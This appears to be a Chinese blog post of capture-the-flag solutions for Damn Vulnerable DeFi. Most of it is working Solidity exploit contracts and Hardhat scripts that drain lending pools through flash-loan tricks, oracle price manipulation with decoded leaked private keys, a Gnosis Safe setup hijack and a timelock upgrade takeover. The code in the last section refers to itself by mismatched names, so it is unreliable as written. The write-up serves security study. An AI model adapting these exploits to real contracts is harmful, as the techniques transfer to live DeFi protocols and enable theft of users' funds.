amyseer

amyseer

I wana beautiful world.

# damn -vulnearable-defi

一些题解

unstoppable#

题解

it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
        await this.token.transfer(this.pool.address, 1);
    });

分析

falshLoan() 中存在assert(poolBalance == balanceBefore);
那么只需要不通过deposit()而向pool转账从而使assert不满足条件即可。

truster#

题解
攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./TrusterLenderPool.sol";

interface Token {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract TrusterExploit {
    function getApprove(
        address spender,
        uint256 amount
    ) public returns (bytes memory) {
        bytes memory data = abi.encodeWithSelector(
            Token.approve.selector,
            spender,
            amount
        );
        return data;
    }

    function DOflashLoan(
        TrusterLenderPool pool,
        uint256 amount,
        address borrower,
        address target,
        address player
    ) public {
        bytes memory data = getApprove(player, amount);
        pool.flashLoan(0, borrower, target, data);
    }
}

然后在 js 执行另外的操作:

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        /*const data = web3.eth.abi.encodeFunctionCall(
            {
                name: 'approve',
                type: 'function',
                inputs: [
                    {
                        type: 'address',
                        name: 'spender'
                    },
                    {
                        type: 'uint256',
                        name: 'amount'
                    }
                ]
            }, [player.address, TOKENS_IN_POOL]
        )*/
        [deployer, player] = await ethers.getSigners();
        exploit = await (await ethers.getContractFactory('TrusterExploit', deployer)).deploy();
        await exploit.DOflashLoan(pool.address, TOKENS_IN_POOL, player.address, token.address, player.address);
        await token.connect(player).transferFrom(pool.address, player.address, TOKENS_IN_POOL);
    });

分析

构造 data 调用 token 合约的 approve () 函数为自己添加等于 TOKEN_IN_POOL 的许可,然后执行 flashLoan 借走 0 块钱,最后再执行 token 合约的 transferFrom 合约转走钱即可

naive-receiver#

题解

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const ETH = await pool.ETH();

        for (let i = 0; i < 10; i++) {
            await pool.flashLoan(receiver.address, ETH, 0, "0x");
        }
    });

分析
因为每进行一次借贷都会消耗 1ETH,所以让 receiver 进行十次借贷就行了

side-entrance#

题解

攻击合约

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./SideEntranceLenderPool.sol";

contract FlashLoanEtherReceiverMock {
    SideEntranceLenderPool pool;

    constructor(address ipool) public {
        pool = SideEntranceLenderPool(ipool);
    }

    function exploit() external payable {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    function execute() external payable {
        pool.deposit{value: address(this).balance}();
    }

    receive() external payable {}
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        let attacker = await (await ethers.getContractFactory('FlashLoanEtherReceiverMock', player)).deploy(pool.address);
        await attacker.connect(player).exploit();
    });

分析:

执行 falsnLoan () 后执行 excute (),将借出来的钱存入 pool 中自己的账户,但因为确实 pool 中有那么多钱,所以绕过了 if (address(this).balance < balanceBefore) revert RepayFailed(); 的检查。之后就可以调用 withdraw () 进行取款并将钱转给自己。

the-rewarder#

题解

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../DamnValuableToken.sol";
import "./FlashLoanerPool.sol";
//import "./RewardToken.sol"; //不知道为什么import会报错已存在相同定义,但是注释后无妨能用
import "./TheRewarderPool.sol";

contract DearSuspect {
    DamnValuableToken liquidToken;
    RewardToken rewardToken;
    FlashLoanerPool flashloanPool;
    TheRewarderPool rewardPool;

    constructor(
        address _liquidityToken,
        address _rewardToken,
        address _flashLoanerPool,
        address _theRewarderPool
    ) {
        liquidToken = DamnValuableToken(_liquidityToken);
        rewardToken = RewardToken(_rewardToken);
        flashloanPool = FlashLoanerPool(_flashLoanerPool);
        rewardPool = TheRewarderPool(_theRewarderPool);
    }

    function exploit() public {
        uint256 amount = liquidToken.balanceOf(address(flashloanPool));
        flashloanPool.flashLoan(amount);
        rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
    }

    function receiveFlashLoan(uint256 amount) external {
        liquidToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.withdraw(amount);
        liquidToken.transfer(address(flashloanPool), amount);
    } //执行闪贷后的操作

    fallback() external payable {}
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days 尤其注意这里,需要将链的时间通过这个操作增加五天,否则无法成功
        let suspectFactory = await ethers.getContractFactory('DearSuspect', deployer);
        let suspect = await suspectFactory.deploy(liquidityToken.address, rewardToken.address, flashLoanPool.address, rewarderPool.address);
        await suspect.connect(player).exploit();
    });

分析:
在 TheRewardPool 合约中liquidityToken 是真正的 token,accToken是进行逻辑运算的 token,rewardToken就是奖励。
奖励的计算方式是:rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);,没有找到 mulDiv 函数的具体代码,但从名字上来看它的功能是乘除,尝试一下用 pool 中的全部资金进行计算通过。

selfie#

题解
攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ISimpleGovernance.sol";
import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

interface IERC20Snapshot is IERC20 {
    function snapshot() external returns (uint256 lastSnapshotId);
}

contract suspect {
    SelfiePool public immutable pool;
    SimpleGovernance public governance;
    IERC20Snapshot public immutable token;
    address public immutable owner;
    IERC3156FlashBorrower public borrower;
    uint256 amount;

    constructor(address _pool, address _governance, address _token) {
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = IERC20Snapshot(_token);
        owner = msg.sender;
        borrower = IERC3156FlashBorrower(address(this));
    }

    function attack() public {
        amount = token.balanceOf(address(pool));

        pool.flashLoan(borrower, address(token), amount, "0x111");
    }

    function onFlashLoan(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) public returns (bytes32) {
        require(msg.sender == address(pool), "not pool");
        require(tx.origin == owner, "not owner");

        token.snapshot();

        bytes memory data = abi.encodeWithSignature(
            "emergencyExit(address)",
            owner
        );

        governance.queueAction(address(pool), 0, data);

        token.approve(address(pool), amount);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.suspect = await (await ethers.getContractFactory("suspect", player)).deploy(pool.address, governance.address, token.address);
        await this.suspect.attack();

        const ACTION_DELAY = 2 * 24 * 60 * 60 + 1;
        await time.increase(ACTION_DELAY);  // to deal with the question :uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; in SimpleGovernance.sol

        await governance.connect(player).executeAction(1); // queue and execute action
    });

分析:
题目明示 governance 会有问题,又在 pool 提供了闪贷和 emergencyExit, 直接干就行了

compromised#

题解
执行操作:

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        // 输入的十六进制字符串
        const hexString1 = "4d48686a4e6a63345a575978595745304e545a6b59545931597a5a6d597a55344e6a466b4e4451344f544a6a5a475a68597a426a4e6d4d34597a49314e6a42695a6a426a4f575a69593252685a544a6d4e44637a4e574535";
        const hexString2 = "4d4867794d4467794e444a6a4e4442685932526d59546c6c5a4467344f5755324f44566a4d6a4d314e44646859324a6c5a446c695a575a6a4e6a417a4e7a466c4f5467334e575a69593251334d7a597a4e444269596a5134";

        // 将十六进制字符串转换为字节数组
        const byteArray1 = hexString1.match(/.{1,2}/g).map(byte => parseInt(byte, 16));
        const byteArray2 = hexString2.match(/.{1,2}/g).map(byte => parseInt(byte, 16));

        // 将字节数组解码为UTF-8文本
        const base64Text1 = Buffer.from(byteArray1).toString('utf-8');
        const base64Text2 = Buffer.from(byteArray2).toString('utf-8');

        // 将base64文本解码为UTF-8文本
        const privateKey_one = Buffer.from(base64Text1, 'base64').toString('utf-8');
        const privateKey_two = Buffer.from(base64Text2, 'base64').toString('utf-8');

        // 连接钱包进行报价
        const wallet_1 = new ethers.Wallet(privateKey_one, ethers.provider);
        const wallet_2 = new ethers.Wallet(privateKey_two, ethers.provider);

        await oracle.connect(wallet_1).postPrice('DVNFT', 1); // 因为buy中要求msg.value != 0,所以这里就不报价为0了
        await oracle.connect(wallet_2).postPrice('DVNFT', 1);
        await exchange.connect(player).buyOne({ value: 1 });

        // 更改报价,进行卖出操作
        await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
        await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE + BigInt(1));
        await nftToken.connect(player).approve(exchange.address, 0);
        await exchange.connect(player).sellOne(0);

        // 改回报价
        await oracle.connect(wallet_1).postPrice('DVNFT', INITIAL_NFT_PRICE);
        await oracle.connect(wallet_2).postPrice('DVNFT', INITIAL_NFT_PRICE);

        /*
        经尝试,必须用两个账户进行报价,否则无法成功,会在buyOne()报错:reverted with custom error 'InvalidPayment()';
        原因是TrustfulOracle中要求uint256[] memory prices = getAllPricesForSymbol(symbol);
        */
    });

puppet#

题解
合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

/*
Interaface code:
@private
@constant
def getInputPrice(input_amount: uint256, input_reserve: uint256, output_reserve: uint256) -> uint256:
    assert input_reserve > 0 and output_reserve > 0
    input_amount_with_fee: uint256 = input_amount * 997
    numerator: uint256 = input_amount_with_fee * output_reserve
    denominator: uint256 = (input_reserve * 1000) + input_amount_with_fee
    return numerator / denominator
@private
def tokenToEthInput(tokens_sold: uint256, min_eth: uint256(wei), deadline: timestamp, buyer: address, recipient: address) -> uint256(wei):
    assert deadline >= block.timestamp and (tokens_sold > 0 and min_eth > 0)
    token_reserve: uint256 = self.token.balanceOf(self)
    eth_bought: uint256 = self.getInputPrice(tokens_sold, token_reserve, as_unitless_number(self.balance))
    wei_bought: uint256(wei) = as_wei_value(eth_bought, 'wei')
    assert wei_bought >= min_eth
    send(recipient, wei_bought)
    assert self.token.transferFrom(buyer, self, tokens_sold)
    log.EthPurchase(buyer, tokens_sold, wei_bought)
    return wei_bought
*/
interface IUniswapExchangeV1 {
    function tokenToEthTransferInput(
        uint256 tokens_sold,
        uint256 min_eth,
        uint256 deadline,
        address recipient
    ) external returns (uint256);
}

interface IPool {
    function borrow(uint256 amount, address recipient) external payable;
}

contract PuppetPoolExploit {
    /*
    In before_setting:
    const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n ** 18n;
    const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n ** 18n;

    const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n ** 18n;

    const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n ** 18n;

    */
    uint256 immutable SELL_DVT_AMOUNT = 1000 ether;
    uint256 immutable DEPOSIT_FACTOR = 2;
    uint256 immutable BORROW_DVT_AMOUNT = 100000 ether;

    IUniswapExchangeV1 immutable UniExchange;
    IERC20 immutable token;
    IPool immutable pool;
    address immutable player;

    /*
    Basic information in PupetPool.sol:
    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;
    */

    constructor(address _token, address _pair, address _pool) {
        token = IERC20(_token);
        pool = IPool(_pool);
        UniExchange = IUniswapExchangeV1(_pair);
        player = msg.sender;
    }

    function exploit() external payable {
        require(msg.sender == player);

        // Dump DVT to the Uniswap Pool
        token.approve(address(UniExchange), SELL_DVT_AMOUNT);
        UniExchange.tokenToEthTransferInput(
            SELL_DVT_AMOUNT,
            9,
            block.timestamp,
            address(this)
        );

        // Calculate and return callatrral
        uint256 price = (address(UniExchange).balance * (10 ** 18)) /
            token.balanceOf(address(UniExchange));
        uint256 depositRequired = (BORROW_DVT_AMOUNT * price * DEPOSIT_FACTOR) /
            10 ** 18; 

        //这部分代码用于输出调试信息
        console.log("contract ETH balance:", address(this).balance);
        console.log("DVT price:", price);
        console.log("Deposit Required:", depositRequired);

        pool.borrow{value: depositRequired}(BORROW_DVT_AMOUNT, player);
    }

    receive() external payable {}
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */

        [, , this.anotherPlayer] = await ethers.getSigners();

        const PuppetExploitFactory = await ethers.getContractFactory('PuppetPoolExploit', this.anotherPlayer);

        this.PuppetExploit = await PuppetExploitFactory.deploy(
            token.address,
            uniswapExchange.address,
            lendingPool.address
        );
        token.connect(player).transfer(this.PuppetExploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
        await this.PuppetExploit.exploit({ value: 11n * 10n ** 18n });
        await token.connect(this.anotherPlayer).transfer(player.address, await token.balanceOf(this.anotherPlayer.address));
    });

分析
本题设计到一个 uniswapV1 的漏洞,因为题目合约的报价完全依赖于 uniswapPair ,所以我们可以针对一个 uniswapPair 实例存入我们的 PLAYER_INITIAL_TOKEN_BALANCE , 这会使得价格被瞬间破坏,之后只需执行 borrow 即可。

puppet-v2#

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";

interface IUniswapV2Pouter {
    function WETH() external pure returns (address);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

/**
 * @title 
 * @author 
 * @notice
 * The key function from UniswapV2 which was contain in Pool:
 * 
 * address public immutable override WETH;
 * 
 * function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external override ensure(deadline) returns (uint[] memory amounts) {
        amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
        require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        TransferHelper.safeTransferFrom(path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
        _swap(amounts, path, to);
    } 
 */

interface IWETH is IERC20 {
    function deposit() external payable;
}

interface IPool {
    function borrow(uint256 borrowAmount) external;

    function calculateDepositOfWETHRequired(
        uint256 tokenAmount
    ) external view returns (uint256);
}

/**
 * The basic setting of the challenge:
    const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n;
    const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n;

    const PLAYER_INITIAL_TOKEN_BALANCE = 10000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 20n * 10n ** 18n;

    const POOL_INITIAL_TOKEN_BALANCE = 1000000n * 10n ** 18n; 
 */

contract PuppetV2Exploit {
    uint256 immutable DUMP_DVT_AMOUNT = 10000 ether;
    uint256 immutable BORROW_DVT_AMOUNT = 1000000 ether;

    IUniswapV2Pouter immutable router;
    IWETH immutable weth;
    IPool immutable pool;
    IERC20 immutable token;
    address immutable player;

    constructor(address _router, address _pool, address _token) {
        router = IUniswapV2Pouter(_router);
        pool = IPool(_pool);
        token = IERC20(_token);
        weth = IWETH(router.WETH());
        player = msg.sender;
    }

    function exploit() external payable {
        require(msg.sender == player);

        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);

        token.approve(address(router), DUMP_DVT_AMOUNT);
        router.swapExactTokensForTokens(
            DUMP_DVT_AMOUNT,
            9 ether,
            path,
            address(this),
            block.timestamp
        );

        //convert ETH to wrapped
        weth.deposit{value: address(this).balance}();

        //calculate the amount
        uint256 RequiredWeth = pool.calculateDepositOfWETHRequired(
            BORROW_DVT_AMOUNT
        );
        console.log("contract WETH balance:", weth.balanceOf(address(this)));
        console.log("Required WETH:", RequiredWeth);

        //Approve and borrow
        weth.approve(address(pool), weth.balanceOf(address(this)));
        pool.borrow(BORROW_DVT_AMOUNT);

        //transfer all DVT and WETH
        token.transfer(player, token.balanceOf(address(this)));
        weth.transfer(player, weth.balanceOf(address(this)));
    }

    receive() external payable {}
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const PuppetV2ExploitFactory = await ethers.getContractFactory('PuppetV2Exploit', player);
        this.PuppetV2Exploit = await PuppetV2ExploitFactory.deploy(
            uniswapRouter.address,
            lendingPool.address,
            token.address
        );

        await token.connect(player).transfer(this.PuppetV2Exploit.address, PLAYER_INITIAL_TOKEN_BALANCE);
        await this.PuppetV2Exploit.exploit({ value: PLAYER_INITIAL_ETH_BALANCE - 4n * 10n ** 17n });
    });

分析
这题和上一题一样,都需要去查 uniswap 的源代码,找到相应函数去 swap 代币以破坏价格,然后就可以 borrow 池子里全部的 DVT

free-rider#

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

interface IMarketplace {
    function buyMany(uint256[] calldata tokenIds) external payable;
}

contract AttackFreeRider {
    IUniswapV2Pair private immutable pair;
    IMarketplace private immutable marketplace;

    IWETH private immutable weth;
    IERC721 private immutable nft;

    address private immutable recoveryContract;
    address private immutable player;

    uint256 private constant NFT_PRICE = 15 ether;
    uint256[] private tokens = [0, 1, 2, 3, 4, 5];

    constructor(
        address _pair,
        address _marketplace,
        address _weth,
        address _nft,
        address _recoveryContract
    ) {
        pair = IUniswapV2Pair(_pair);
        marketplace = IMarketplace(_marketplace);
        weth = IWETH(_weth);
        nft = IERC721(_nft);
        recoveryContract = _recoveryContract;
        player = msg.sender;
    }

    function attack() external payable {
        // 1. Request a flashSwap of 15 WETH from Uniswap Pair
        bytes memory data = abi.encode(NFT_PRICE);
        pair.swap(NFT_PRICE, 0, address(this), data);
    }

    function uniswapV2Call(
        address sender,
        uint amount0,
        uint amount1,
        bytes calldata data
    ) external {
        // Access Control
        require(msg.sender == address(pair));
        require(tx.origin == player);

        // Unwrap WETH to native ETH
        weth.withdraw(NFT_PRICE);

        // Buy all NFTS for only 15 ETH total
        marketplace.buyMany{value: NFT_PRICE}(tokens);

        // Pay back 15WETH + 0.3% to the pair contract
        uint256 amountToPayBack = (NFT_PRICE * 1004) / 1000;
        weth.deposit{value: amountToPayBack}();
        weth.transfer(address(pair), amountToPayBack);

        // Send NFTs to recovery contract so we can get the bounty
        bytes memory data = abi.encode(player);
        for (uint256 i; i < tokens.length; i++) {
            nft.safeTransferFrom(address(this), recoveryContract, i, data);
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes memory
    ) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {}
}

执行操作

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const FreeRiderAttacker = await ethers.getContractFactory("AttackFreeRider", player);
        this.attackerContract = await FreeRiderAttacker.deploy(
            uniswapPair.address, marketplace.address, weth.address,
            nft.address, devsContract.address
        );

        await this.attackerContract.attack({ value: ethers.utils.parseEther("0.045") });
    });

分析

FreRiderNFTMarketplace 中存在如下漏洞:
1. 合约中的 msg.value 验证存在问题,_buyOne 函数检查用户是否支付了足够的 ETH 来购买 NFT,但存在逻辑错误。买家可以通过使用 buyMany 功能购买所有 NFT,同时只支付一个 NFT,这一点 msg.value 保持不变。

  1. ETH 被发送给 NFT 买家而不是卖家。发生这种情况是因为 NFT 在发送 ETH 之前被转移,导致退款给买家。

问题是我们在最开始只有 0.1ETH,一个 NFT 都买不到,那么就需要通过闪贷来达成目的。

流程大约是:

借钱 =》 将借到的WETH unwrap为ETH =》 利用_buyOne中的漏洞调用buyMany获得所有NFT =》由于第二个错误,得到所有ETH和NFT =》 还钱,并将NFT发送到Recovery合约

Bakcdoor#

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../backdoor/WalletRegistry.sol";

interface IGnosisFactory {
    function createProxyWithCallback(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce,
        IProxyCreationCallback callback
    ) external returns (GnosisSafeProxy proxy);
}

contract MaliciousApprove {
    function approve(address attacker, IERC20 token) public {
        token.approve(attacker, type(uint256).max);
    }
}

contract AttackBackdoor {
    WalletRegistry private immutable walletRegistry;
    IGnosisFactory private immutable factory;
    GnosisSafe private immutable masterCopy;
    IERC20 private immutable token;
    MaliciousApprove private immutable maliciousApprove;

    constructor(address _walletRegistry, address[] memory users) {
        // Set state variables
        walletRegistry = WalletRegistry(_walletRegistry);
        masterCopy = GnosisSafe(payable(walletRegistry.masterCopy()));
        factory = IGnosisFactory(walletRegistry.walletFactory());
        token = IERC20(walletRegistry.token());

        // Deploy malicious backdoor for approve
        maliciousApprove = new MaliciousApprove();

        // Create a new safe through the factory for every user

        bytes memory initializer;
        address[] memory owners = new address[](1);
        address wallet;

        for (uint256 i; i < users.length; i++) {
            owners[0] = users[i];
            initializer = abi.encodeCall(
                GnosisSafe.setup,
                (
                    owners,
                    1,
                    address(maliciousApprove),
                    abi.encodeCall(
                        maliciousApprove.approve,
                        (address(this), token)
                    ),
                    address(0),
                    address(0),
                    0,
                    payable(address(0))
                )
            );

            wallet = address(
                factory.createProxyWithCallback(
                    address(masterCopy),
                    initializer,
                    0,
                    walletRegistry
                )
            );

            token.transferFrom(wallet, msg.sender, token.balanceOf(wallet));
        }
    }
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        const AttackBackdoor = await ethers.getContractFactory("AttackBackdoor", player);
        this.attackerContract = await AttackBackdoor.deploy(walletRegistry.address, users)
    });

分析

GnosisSafe.sol 中的 function setup 有如下的参数:

_owners: 安全所有者列表
_threshold: 安全交易所需的确认次数
to: 代表呼叫的可选合同地址
data: 代理调用的数据
fallbackHandler: 用于调用合约的回退处理程序 
paymentToken: 支付令牌(0 表示 ETH 或特定令牌)
payment: 付款金额
paymentReceiver:应接收付款的地址

其中 data 和 fallbackHandler 可以被利用, 而 IGnosisFactory 中的 function createProxyWithCallback 可以用于生成一个新的代理钱包

攻击有如下步骤:

1. 部署恶意合约,并触发 Gnosis Safe Factory 合约,执行 createProxyWithCallback 函数。

2. 创建 Gnosis 安全代理:用工厂部署一个新的 Gnosis Safe 代理,指向 masterCopy 实现。

3. 执行恶意模块:使 setup 功能在新代理中自动执行,允许合约中的 MaliciousApprove 恶意模块批准攻击合约代表新的安全代理管理 DVT。

4. 回调执行:激活回调函数,调用 WalletRegistry ,执行一系列验证和检查。

5. 转移DVT:所有检查都已通过,通过 WalletRegistry 将 DVT 转移到安全代理。

6. 盗取令牌:执行 transferFrom 从保险箱中窃取 DVT 代币。

Climber#

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./ClimberVault.sol";
contract attack6 is UUPSUpgradeable{
         ClimberTimelock  immutable timelock;
         address immutable vaultProxyAddress;
         IERC20 immutable token;
         address immutable attacker;
constructor(ClimberTimelock _timelock,address _vaultProxyAddress,IERC20 _token){
    timelock=_timelock;
     vaultProxyAddress = _vaultProxyAddress;
        token = _token;
        attacker = msg.sender;
}
function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
      address[] memory targets= new address[](5);
        uint256[] memory values =new uint256[](5);
        bytes[] memory dataElements=new bytes[](5);

        //升级delay为0
        targets[0]=address(timelock);
        values[0]=0;
        dataElements[0]=abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);

        //给合约proposer角色
        targets[1]=address(timelock);
        values[1]=0;
        dataElements[1]=abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));

        //进行schedule
        targets[2]=address(this);
        values[2]=0;
            dataElements[2] = abi.encodeWithSelector(
            attack6.scheduleProposal.selector
        );

        //升级climbervault,替换掉里面sweepFunds函数
        targets[3]=address(vaultProxyAddress);
        values[3]=0;
        dataElements[3]=abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));
        
        //把钱换过来
        targets[4]=address(vaultProxyAddress);
        values[4]=0;
        dataElements[4]=abi.encodeWithSelector(attack6.sweepFunds.selector);
       
       return (targets,values,dataElements);

}


       function scheduleProposal()external {
            (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory dataElements
        ) = buildProposal();
         timelock.schedule(targets, values, dataElements, 0);

       }

       function executeProposal() external {
         (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory dataElements
        ) = buildProposal();
         timelock.execute(targets, values, dataElements, 0);
       }
       function sweepFunds()external {
        token.transfer(attacker,token.balanceOf(address(this)));
       }

           function _authorizeUpgrade(address newImplementation) internal  override {}
       
}

执行操作

it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        this.attack = await (await ethers.getContractFactory("attack", attacker)).deploy(this.timelock.address, this.vault.address, this.token.address);

        await this.attack.connect(attacker).excuteProposal();
    });

分析

攻击步骤:
1. 让 delay 变为 0
2. 给攻击合约 proposer 权限
3. 升级 climbervalut 合约覆盖掉 sweepfunds 方法
4. 执行 sweepfunds 把钱拿过来
并且在 execute 之前需要 schedule

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。